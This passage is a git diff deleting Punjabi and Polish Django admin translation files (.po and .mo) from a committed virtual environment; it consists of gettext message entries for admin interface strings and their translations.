ਲਈ ਨਵਾਂ ਪਾਸਵਰਡ ਦਿਓ।" - -msgid "Skip to main content" -msgstr "" - -msgid "Welcome," -msgstr "ਜੀ ਆਇਆਂ ਨੂੰ, " - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "ਡੌਕੂਮੈਂਟੇਸ਼ਨ" - -msgid "Log out" -msgstr "ਲਾਗ ਆਉਟ" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s ਸ਼ਾਮਲ" - -msgid "History" -msgstr "ਅਤੀਤ" - -msgid "View on site" -msgstr "ਸਾਈਟ ਉੱਤੇ ਜਾਓ" - -msgid "Filter" -msgstr "ਫਿਲਟਰ" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Toggle theme (current theme: auto)" -msgstr "" - -msgid "Toggle theme (current theme: light)" -msgstr "" - -msgid "Toggle theme (current theme: dark)" -msgstr "" - -msgid "Delete" -msgstr "ਹਟਾਓ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "ਕਈ ਆਬਜੈਕਟ ਹਟਾਓ" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Delete?" -msgstr "ਹਟਾਉਣਾ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s ਵਲੋਂ " - -msgid "Summary" -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "ਕੋਈ ਉਪਲੱਬਧ ਨਹੀਂ" - -msgid "Unknown content" -msgstr "ਅਣਜਾਣ ਸਮੱਗਰੀ" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Toggle navigation" -msgstr "" - -msgid "Sidebar" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "ਮਿਤੀ/ਸਮਾਂ" - -msgid "User" -msgstr "ਯੂਜ਼ਰ" - -msgid "Action" -msgstr "ਕਾਰਵਾਈ" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "ਸਭ ਵੇਖੋ" - -msgid "Save" -msgstr "ਸੰਭਾਲੋ" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "ਖੋਜ" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s ਕੁੱਲ" - -msgid "Save as new" -msgstr "ਨਵੇਂ ਵਜੋਂ ਵੇਖੋ" - -msgid "Save and add another" -msgstr "ਸੰਭਾਲੋ ਤੇ ਹੋਰ ਸ਼ਾਮਲ" - -msgid "Save and continue editing" -msgstr "ਸੰਭਾਲੋ ਤੇ ਸੋਧਣਾ ਜਾਰੀ ਰੱਖੋ" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "ਫੇਰ ਲਾਗਇਨ ਕਰੋ" - -msgid "Password change" -msgstr "ਪਾਸਵਰਡ ਬਦਲੋ" - -msgid "Your password was changed." -msgstr "ਤੁਹਾਡਾ ਪਾਸਵਰਡ ਬਦਲਿਆ ਗਿਆ ਹੈ।" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "ਮੇਰਾ ਪਾਸਵਰਡ ਬਦਲੋ" - -msgid "Password reset" -msgstr "ਪਾਸਵਰਡ ਮੁੜ-ਸੈੱਟ" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "ਤੁਹਾਡਾ ਪਾਸਵਰਡ ਸੈੱਟ ਕੀਤਾ ਗਿਆ ਹੈ। ਤੁਸੀਂ ਜਾਰੀ ਰੱਖ ਕੇ ਹੁਣੇ ਲਾਗਇਨ ਕਰ ਸਕਦੇ ਹੋ।" - -msgid "Password reset confirmation" -msgstr "ਪਾਸਵਰਡ ਮੁੜ-ਸੈੱਟ ਕਰਨ ਪੁਸ਼ਟੀ" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"ਆਪਣਾ ਨਵਾਂ ਪਾਸਵਰਡ ਦੋ ਵਾਰ ਦਿਉ ਤਾਂ ਕਿ ਅਸੀਂ ਜਾਂਚ ਕਰ ਸਕੀਏ ਕਿ ਤੁਸੀਂ ਠੀਕ ਤਰ੍ਹਾਂ ਲਿਖਿਆ ਹੈ।" - -msgid "New password:" -msgstr "ਨਵਾਂ ਪਾਸਵਰਡ:" - -msgid "Confirm password:" -msgstr "ਪਾਸਵਰਡ ਪੁਸ਼ਟੀ:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"ਪਾਸਵਰਡ ਰੀ-ਸੈੱਟ ਲਿੰਕ ਗਲਤ ਹੈ, ਸੰਭਵ ਤੌਰ ਉੱਤੇ ਇਹ ਪਹਿਲਾਂ ਹੀ ਵਰਤਿਆ ਜਾ ਚੁੱਕਾ ਹੈ। ਨਵਾਂ ਪਾਸਵਰਡ ਰੀ-" -"ਸੈੱਟ ਲਈ ਬੇਨਤੀ ਭੇਜੋ ਜੀ।" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "ਅੱਗੇ ਦਿੱਤੇ ਸਫ਼ੇ ਉੱਤੇ ਜਾਉ ਤੇ ਨਵਾਂ ਪਾਸਵਰਡ ਚੁਣੋ:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "ਸਾਡੀ ਸਾਈਟ ਵਰਤਣ ਲਈ ਧੰਨਵਾਦ ਜੀ!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s ਟੀਮ" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "ਮੇਰਾ ਪਾਸਵਰਡ ਮੁੜ-ਸੈੱਟ ਕਰੋ" - -msgid "All dates" -msgstr "ਸਭ ਮਿਤੀਆਂ" - -#, python-format -msgid "Select %s" -msgstr "%s ਚੁਣੋ" - -#, python-format -msgid "Select %s to change" -msgstr "ਬਦਲਣ ਲਈ %s ਚੁਣੋ" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "ਮਿਤੀ:" - -msgid "Time:" -msgstr "ਸਮਾਂ:" - -msgid "Lookup" -msgstr "ਖੋਜ" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 08925e49..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.po deleted file mode 100644 index ed55c46e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,253 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-01-15 11:28+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Panjabi (Punjabi) (http://www.transifex.com/django/django/" -"language/pa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pa\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "ਉਪਲੱਬਧ %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "ਫਿਲਟਰ" - -msgid "Choose all" -msgstr "ਸਭ ਚੁਣੋ" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "ਹਟਾਓ" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s ਚੁਣੋ" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "ਹੁਣੇ" - -msgid "Midnight" -msgstr "ਅੱਧੀ-ਰਾਤ" - -msgid "6 a.m." -msgstr "6 ਸਵੇਰ" - -msgid "Noon" -msgstr "ਦੁਪਹਿਰ" - -msgid "6 p.m." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ਸਮਾਂ ਚੁਣੋ" - -msgid "Cancel" -msgstr "ਰੱਦ ਕਰੋ" - -msgid "Today" -msgstr "ਅੱਜ" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "ਕੱਲ੍ਹ" - -msgid "Tomorrow" -msgstr "ਭਲਕੇ" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "ਵੇਖੋ" - -msgid "Hide" -msgstr "ਓਹਲੇ" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.mo deleted file mode 100644 index b4391fef..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.po deleted file mode 100644 index 4801688e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pl/LC_MESSAGES/django.po +++ /dev/null @@ -1,818 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# angularcircle, 2011-2013 -# angularcircle, 2013-2014 -# Jannis Leidel , 2011 -# Janusz Harkot , 2014-2015 -# Karol , 2012 -# 0d5641585fd67fbdb97037c19ab83e4c_18c98b0 , 2011 -# 0d5641585fd67fbdb97037c19ab83e4c_18c98b0 , 2011 -# Maciej Olko , 2016-2022 -# Maciej Olko , 2023 -# Maciej Olko , 2015 -# Mariusz Felisiak , 2020,2022-2025 -# Ola Sitarska , 2013 -# Ola Sitarska , 2013 -# Roman Barczyński, 2014 -# Tomasz Kajtoch , 2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Mariusz Felisiak , " -"2020,2022-2025\n" -"Language-Team: Polish (http://app.transifex.com/django/django/language/pl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pl\n" -"Plural-Forms: nplurals=4; plural=(n==1 ? 0 : (n%10>=2 && n%10<=4) && " -"(n%100<12 || n%100>14) ? 1 : n!=1 && (n%10>=0 && n%10<=1) || (n%10>=5 && " -"n%10<=9) || (n%100>=12 && n%100<=14) ? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Usuń wybrane(-nych) %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Pomyślnie usunięto %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nie można usunąć %(name)s" - -msgid "Delete multiple objects" -msgstr "Usuwanie wielu obiektów" - -msgid "Administration" -msgstr "Administracja" - -msgid "All" -msgstr "Wszystko" - -msgid "Yes" -msgstr "Tak" - -msgid "No" -msgstr "Nie" - -msgid "Unknown" -msgstr "Nieznany" - -msgid "Any date" -msgstr "Dowolna data" - -msgid "Today" -msgstr "Dzisiaj" - -msgid "Past 7 days" -msgstr "Ostatnie 7 dni" - -msgid "This month" -msgstr "Ten miesiąc" - -msgid "This year" -msgstr "Ten rok" - -msgid "No date" -msgstr "Brak daty" - -msgid "Has date" -msgstr "Posiada datę" - -msgid "Empty" -msgstr "Puste" - -msgid "Not empty" -msgstr "Niepuste" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Wprowadź poprawne dane w polach „%(username)s” i „hasło” dla konta " -"należącego do zespołu. Uwaga: wielkość liter może mieć znaczenie." - -msgid "Action:" -msgstr "Akcja:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dodaj kolejne(go)(-ną)(-ny) %(verbose_name)s" - -msgid "Remove" -msgstr "Usuń" - -msgid "Addition" -msgstr "Dodanie" - -msgid "Change" -msgstr "Zmień" - -msgid "Deletion" -msgstr "Usunięcie" - -msgid "action time" -msgstr "czas akcji" - -msgid "user" -msgstr "użytkownik" - -msgid "content type" -msgstr "typ zawartości" - -msgid "object id" -msgstr "id obiektu" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "reprezentacja obiektu" - -msgid "action flag" -msgstr "flaga akcji" - -msgid "change message" -msgstr "zmień wiadomość" - -msgid "log entry" -msgstr "log" - -msgid "log entries" -msgstr "logi" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Dodano „%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Zmieniono „%(object)s” — %(changes)s " - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Usunięto „%(object)s”." - -msgid "LogEntry Object" -msgstr "Obiekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Dodano {name} „{object}”." - -msgid "Added." -msgstr "Dodano." - -msgid "and" -msgstr "i" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Zmodyfikowano {fields} w {name} „{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Zmodyfikowano {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Usunięto {name} „{object}”." - -msgid "No fields changed." -msgstr "Żadne pole nie zostało zmienione." - -msgid "None" -msgstr "Brak" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Przytrzymaj wciśnięty klawisz „Ctrl” lub „Command” na Macu, aby zaznaczyć " -"więcej niż jeden wybór." - -msgid "Select this object for an action - {}" -msgstr "Wybierz ten obiekt do wykonania akcji - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} „{obj}” został(a)(-ło) dodany(-na)(-ne) pomyślnie." - -msgid "You may edit it again below." -msgstr "Poniżej możesz ponownie edytować." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} „{obj}” został(a)(-ło) dodany(-na)(-ne) pomyślnie. Można dodać " -"kolejne(go)(-ną)(-ny) {name} poniżej." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} „{obj}” został(a)(-ło) pomyślnie zmieniony(-na)(-ne). Można edytować " -"go/ją/je ponownie poniżej." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} „{obj}” został(a)(-ło) pomyślnie zmieniony(-na)(-ne). Można dodać " -"kolejny(-nego)(-ną)(-ne) {name} poniżej." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} „{obj}” został(a)(-ło) pomyślnie zmieniony(-na)(-ne)." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Wykonanie akcji wymaga wybrania obiektów. Żaden obiekt nie został zmieniony." - -msgid "No action selected." -msgstr "Nie wybrano akcji." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s „%(obj)s” usunięty(-ta)(-te) pomyślnie." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s z ID „%(key)s” nie istnieje. Może został(a)(-ło) usunięty(-ta)(-te)?" - -#, python-format -msgid "Add %s" -msgstr "Dodaj %s" - -#, python-format -msgid "Change %s" -msgstr "Zmień %s" - -#, python-format -msgid "View %s" -msgstr "Zobacz %s" - -msgid "Database error" -msgstr "Błąd bazy danych" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s został(a)(-ło) pomyślnie zmieniony(-na)(-ne)." -msgstr[1] "%(count)s %(name)s zostały(-ło) pomyślnie zmienione(-nych)." -msgstr[2] "%(count)s %(name)s zostało pomyślnie zmienionych." -msgstr[3] "%(count)s %(name)s zostało pomyślnie zmienione." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Wybrano %(total_count)s" -msgstr[1] "Wybrano %(total_count)s" -msgstr[2] "Wybrano %(total_count)s" -msgstr[3] "Wybrano wszystkie %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Wybrano 0 z %(cnt)s" - -msgid "Delete" -msgstr "Usuń" - -#, python-format -msgid "Change history: %s" -msgstr "Historia zmian: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Usunięcie %(class_name)s %(instance)s może wiązać się z usunięciem " -"następujących chronionych obiektów pokrewnych: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administracja stroną Django" - -msgid "Django administration" -msgstr "Administracja Django" - -msgid "Site administration" -msgstr "Administracja stroną" - -msgid "Log in" -msgstr "Zaloguj się" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s: administracja" - -msgid "Page not found" -msgstr "Strona nie została znaleziona" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Przykro nam, ale żądana strona nie została znaleziona." - -msgid "Home" -msgstr "Strona główna" - -msgid "Server error" -msgstr "Błąd serwera" - -msgid "Server error (500)" -msgstr "Błąd serwera (500)" - -msgid "Server Error (500)" -msgstr "Błąd Serwera (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Niestety wystąpił błąd. Zostało to zgłoszone administratorom strony poprzez " -"email i niebawem powinno zostać naprawione. Dziękujemy za cierpliwość." - -msgid "Run the selected action" -msgstr "Wykonaj wybraną akcję" - -msgid "Go" -msgstr "Wykonaj" - -msgid "Click here to select the objects across all pages" -msgstr "Kliknij by wybrać obiekty na wszystkich stronach" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Wybierz wszystkie(-kich) %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Wyczyść wybór" - -msgid "Breadcrumbs" -msgstr "Breadcrumbs" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modele w aplikacji %(name)s" - -msgid "Model name" -msgstr "Nazwa modelu" - -msgid "Add link" -msgstr "Dodaj link" - -msgid "Change or view list link" -msgstr "Link do zmiany lub podglądu" - -msgid "Add" -msgstr "Dodaj" - -msgid "View" -msgstr "Zobacz" - -msgid "You don’t have permission to view or edit anything." -msgstr "Nie masz uprawnień do oglądania ani edycji niczego." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "Po tym jak utworzysz użytkownika, będzie mógł edytować więcej opcji." - -msgid "Error:" -msgstr "Błąd:" - -msgid "Change password" -msgstr "Zmień hasło" - -msgid "Set password" -msgstr "Ustaw hasło" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Prosimy poprawić poniższy błąd." -msgstr[1] "Prosimy poprawić poniższe błędy." -msgstr[2] "Prosimy poprawić poniższe błędy." -msgstr[3] "Prosimy poprawić poniższe błędy." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Podaj nowe hasło dla użytkownika %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"To działanie włączy uwierzytelnianie oparte na haśle dla " -"tego użytkownika. " - -msgid "Disable password-based authentication" -msgstr "Wyłącz uwierzytelnianie oparte na haśle" - -msgid "Enable password-based authentication" -msgstr "Włącz uwierzytelnianie oparte na haśle" - -msgid "Skip to main content" -msgstr "Przejdź do głównej treści" - -msgid "Welcome," -msgstr "Witaj," - -msgid "View site" -msgstr "Pokaż stronę" - -msgid "Documentation" -msgstr "Dokumentacja" - -msgid "Log out" -msgstr "Wyloguj się" - -#, python-format -msgid "Add %(name)s" -msgstr "Dodaj %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Pokaż na stronie" - -msgid "Filter" -msgstr "Filtruj" - -msgid "Hide counts" -msgstr "Ukryj ilości" - -msgid "Show counts" -msgstr "Pokaż ilości" - -msgid "Clear all filters" -msgstr "Wyczyść wszystkie filtry" - -msgid "Remove from sorting" -msgstr "Usuń z sortowania" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Priorytet sortowania: %(priority_number)s " - -msgid "Toggle sorting" -msgstr "Przełącz sortowanie" - -msgid "Toggle theme (current theme: auto)" -msgstr "Przełącz motyw (bieżący motyw: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Przełącz motyw (bieżący motyw: jasny)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Przełącz motyw (bieżący motyw: ciemny)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Usunięcie %(object_name)s „%(escaped_object)s” wiązałoby się z usunięciem " -"obiektów z nim/nią powiązanych, ale niestety nie posiadasz uprawnień do " -"usunięcia obiektów następujących typów:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Usunięcie %(object_name)s „%(escaped_object)s” wymagałoby skasowania " -"następujących chronionych obiektów, które są z nim/nią powiązane:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Czy chcesz skasować %(object_name)s „%(escaped_object)s”? Następujące " -"obiekty powiązane zostaną usunięte:" - -msgid "Objects" -msgstr "Obiekty" - -msgid "Yes, I’m sure" -msgstr "Tak, na pewno" - -msgid "No, take me back" -msgstr "Nie, zabierz mnie stąd" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Usunięcie wybranych(-nego)(-nej) %(objects_name)s spowoduje skasowanie " -"obiektów, które są z nim(i)/nią powiązane. Niestety nie posiadasz uprawnień " -"do usunięcia następujących typów obiektów:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Usunięcie wybranych(-nego)(-nej) %(objects_name)s wymaga skasowania " -"następujących chronionych obiektów, które są z nim(i)/nią powiązane:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Czy chcesz skasować zaznaczone(go)(-ną)(-ny)(-nych) %(objects_name)s? " -"Następujące obiekty oraz obiekty od nich zależne zostaną skasowane:" - -msgid "Delete?" -msgstr "Usunąć?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Według pola %(filter_title)s " - -msgid "Summary" -msgstr "Podsumowanie" - -msgid "Recent actions" -msgstr "Ostatnie działania" - -msgid "My actions" -msgstr "Moje działania" - -msgid "None available" -msgstr "Brak dostępnych" - -msgid "Added:" -msgstr "Dodano:" - -msgid "Changed:" -msgstr "Zmieniono:" - -msgid "Deleted:" -msgstr "Usunięto:" - -msgid "Unknown content" -msgstr "Zawartość nieznana" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Instalacja Twojej bazy danych jest niepoprawna. Upewnij się, że odpowiednie " -"tabele zostały utworzone i odpowiedni użytkownik jest uprawniony do ich " -"odczytu." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Jesteś uwierzytelniony jako %(username)s, ale nie jesteś upoważniony do " -"dostępu do tej strony. Czy chciałbyś zalogować się na inne konto?" - -msgid "Forgotten your login credentials?" -msgstr "Zapomniałeś swoich danych do logowania?" - -msgid "Toggle navigation" -msgstr "Przełącz nawigację" - -msgid "Sidebar" -msgstr "Pasek boczny" - -msgid "Start typing to filter…" -msgstr "Zacznij pisać, aby odfiltrować…" - -msgid "Filter navigation items" -msgstr "Filtruj elementy nawigacji" - -msgid 